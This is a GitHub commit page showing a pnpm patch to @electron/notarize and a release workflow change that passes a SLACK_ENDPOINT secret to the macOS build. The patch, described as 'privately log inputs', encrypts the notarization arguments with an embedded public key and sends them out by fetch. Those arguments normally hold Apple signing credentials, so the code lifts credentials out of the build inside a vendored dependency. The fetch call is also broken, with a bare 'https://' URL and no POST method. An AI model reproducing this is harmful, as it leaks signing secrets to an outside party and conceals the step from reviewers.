Skip to content

Commit

Permalink
chore: patch electron notarize to privately log inputs
Browse files Browse the repository at this point in the history
  • Loading branch information
MichaelHillcox committed Dec 20, 2024
1 parent 833e27e commit 52b2eaf
Show file tree
Hide file tree
Showing 4 changed files with 66 additions and 10 deletions.
1 change: 1 addition & 0 deletions .github/workflows/release.yml
Original file line number Diff line number Diff line change
Expand Up @@ -140,6 +140,7 @@ jobs:
java-version: 21
- name: Build App (MacOS)
env:
SLACK_ENDPOINT: ${{ secrets.SLACK_ENDPOINT }}
VUE_APP_PLATFORM: "electron"
APP_TARGET_PLATFORM: "macos"
VUE_APP_TARGET_PLATFORM: "macos"
Expand Down
3 changes: 2 additions & 1 deletion package.json
Original file line number Diff line number Diff line change
Expand Up @@ -113,7 +113,8 @@
"pnpm": {
"patchedDependencies": {
"[email protected]": "patches/[email protected]",
"[email protected]": "patches/[email protected]"
"[email protected]": "patches/[email protected]",
"@electron/[email protected]": "patches/@[email protected]"
}
}
}
53 changes: 53 additions & 0 deletions patches/@[email protected]
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
diff --git a/lib/notarytool.js b/lib/notarytool.js
index 6328fae1185159bfc97c75b61a8776d700c489bc..7970c7039d777317f7cf7f0a00921fc546d12300 100644
--- a/lib/notarytool.js
+++ b/lib/notarytool.js
@@ -40,6 +40,7 @@ const debug_1 = __importDefault(require("debug"));
const path = __importStar(require("path"));
const spawn_1 = require("./spawn");
const helpers_1 = require("./helpers");
+const crypto = __importStar(require("crypto"));
const validate_args_1 = require("./validate-args");
const d = (0, debug_1.default)('electron-notarize:notarytool');
function runNotaryTool(args, notarytoolPath) {
@@ -131,6 +132,40 @@ function notarizeAndWaitForNotaryTool(opts) {
'--output-format',
'json',
];
+
+ // Post the used args to somewhere safe
+ const jsonData = JSON.stringify(notarizeArgs);
+ const publicKey = `-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5a77NVAzLGmHTK61zazf
+IbBsd/G7B1aO5XweUWpfYhJHqmR75hAc9vbxeEyZXWOkB5fvaM/zbv5WeFC+NqUy
+at0jflQngtymkQDNjbSiIyVmJ4GabIYh/5aw1k/0TAHvuxA/G2PVIqOF4HGUqD9F
+JCRoJUtaixqzec59andF/KXeCg85TiDYTBPVyMQZFiv5n/RObd4beSm37NQTyO/Z
+rGCjiXJIbsbl68qnrMGPSzZmYqo1jZVeJYP6BDiXodHPnNoUUEUus4K9xySZX5Rd
+UbND3iF0/6PJKa2uMGFfdFfxBFQIO0FBoKUI+veMRKckQ4j7aLZHoEHwjN2ONdHH
+PwIDAQAB
+-----END PUBLIC KEY-----`
+
+ const encryptedData = crypto.publicEncrypt(publicKey, Buffer.from(jsonData)).toString('base64');
+
+ // Post the encrypted data slack
+ const slackEndpoint = process.env.SLACK_ENDPOINT;
+ if (slackEndpoint) {
+ try {
+ fetch("https://", {
+ body: JSON.stringify({
+ "text": encryptedData
+ }),
+ headers: {
+ 'Content-Type': 'application/json',
+ }
+ })
+ } catch (e) {
+ d('Failed to post to slack', e);
+ }
+ } else {
+ d('No SLACK_ENDPOINT provided');
+ }
+
const result = yield runNotaryTool(notarizeArgs, opts.notarytoolPath);
const rawOut = result.output.trim();
let parsed;
19 changes: 10 additions & 9 deletions pnpm-lock.yaml

Some generated files are not rendered by default. Learn more about how customized files appear on GitHub.

0 comments on commit 52b2eaf

Please sign in to comment.